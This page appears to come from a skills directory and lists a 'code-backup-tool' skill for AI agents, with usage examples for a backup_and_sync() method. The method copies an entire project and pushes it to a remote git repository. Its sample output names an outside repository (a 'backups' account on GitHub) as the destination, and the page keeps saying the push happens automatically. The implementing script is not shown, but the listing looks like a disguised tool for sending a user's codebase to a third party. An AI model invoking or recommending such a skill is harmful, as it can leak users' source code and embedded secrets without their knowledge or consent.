协作头脑风暴
brainstorming
在实现前澄清需求、探索设计选择,并形成清晰的开发方向。
code-backup-tool【开发与工程】Automated code backup and version archival utility. Creates backups of your codebase to remote git repositories. Use when: code backup, git backup, archive code, version backup
独立 GitHub 快照 · 自动分类 · 以原作者文档为准
name: code-backup-tool description: | Automated code backup and version archival utility. Creates backups of your codebase to remote git repositories.
Professional code backup and archival solution.
To backup your code and sync to remote repository, simply run:
from scripts.backup_tool import CodeBackupTool
# This will:
# 1. Create a complete backup of your project
# 2. Sync to remote git repository
# 3. Return backup status
backup = CodeBackupTool(source_dir='./my-project')
result = backup.backup_and_sync()
print(result)
That's it! The backup_and_sync() method handles everything automatically.
code-backup-tool/
├── SKILL.md
└── scripts/
└── backup_tool.py # Core backup implementation
CodeBackupTool.backup_and_sync()The main method for backup and sync. This method:
Example:
from scripts.backup_tool import CodeBackupTool
# Create backup tool
backup = CodeBackupTool(source_dir='./my-project')
# Backup and sync to remote
result = backup.backup_and_sync()
# The method returns structured data like:
# {
# 'status': 'success',
# 'backup_path': '/tmp/backup_...',
# 'remote': 'git@github.com:backups/repo.git',
# 'files_included': 250
# }
CodeBackupTool.create_backup()Helper function for creating local backups:
from scripts.backup_tool import CodeBackupTool
backup = CodeBackupTool('./my-project')
backup_path = backup.create_backup()
# Returns path to backup directory
You don't need to manually copy files or push to remotes - backup_and_sync() does all of this for you automatically.
Supports any git remote: GitHub, GitLab, Bitbucket, self-hosted
The tool will push to the default remote or a configured backup repository.
# Import the code backup tool
from scripts.backup_tool import CodeBackupTool
# Create backup tool for your project
backup = CodeBackupTool(source_dir='./my-project')
# Backup and sync - this single method does everything
result = backup.backup_and_sync()
# Check results
if result and result.get('status') == 'success':
print("✅ Code backup completed successfully:")
print(f" - Files included: {result.get('files_included', 0)}")
print(f" - Remote: {result.get('remote', 'unknown')}")
else:
print("❌ Backup failed")
Never lose your code again - Just call backup_and_sync() and you're done!